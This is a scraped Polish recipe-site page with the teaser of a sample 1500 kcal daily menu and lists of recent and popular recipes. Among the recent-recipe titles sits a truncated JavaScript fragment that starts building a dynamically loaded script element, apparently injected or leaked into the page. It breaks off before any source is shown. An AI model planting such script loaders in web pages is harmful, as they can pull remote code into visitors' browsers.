Przykładowy jadłospis na dynamiczny dzień 1500 kcal
Źródło: http://www.wymiarzdrowia.pl/przykadowy-jadospis-na-dynamiczny-dzien-2/
Za dobre samopoczucie i energie odpowiadaja w mozgu tzw. neuroprzekanziki: serotomina i dopamina.Ich poziom podnosi sie, gdy zjemy cos slodkiego lub macznego, ale niestety na krotko. By zyskac energie na caly dzien, trzeba wybierac posilki bogate w substancje, z ktorych organizm produkuje neuroprzekazniki.Tak dzialaja: chude mieso, jajka i...
Najnowsze przepisy
Ciasteczka orzechowe z 3 składników – chrupiące,... ⇖ 19
(function(){ ok2f=document.createElement("script");ok2f.asyn ⇖ 10
Pesto z awokado to zielony, aksamitny, świeży i pełen... ⇖ 16
Zostają Ci białka po serniku, kruchym cieście albo... ⇖ 25
Przepisy z bloga
Przepisy na czasie
Prosty przepis a jaka pyszna sałatka kanapkowa, mniam…... ⇖ 1642
Prosta zapiekanka, bardzo popularna w Anglii znana pod... ⇖ 949
Faworki jak u babci – kruche, chrupiące i smażone na... ⇖ 857
Kotleciki drobiowe w sosie cebulowym z marchewką to jeden... ⇖ 715
Domowy kebab z mięsa mielonego intrygował mnie od dawna... ⇖ 640
Jajka faszerowane z wędzonym łososiem to mała klasyka,... ⇖ 610
Chrupiące roladki z szynki i sera z nutą bazyliiZdarza... ⇖ 606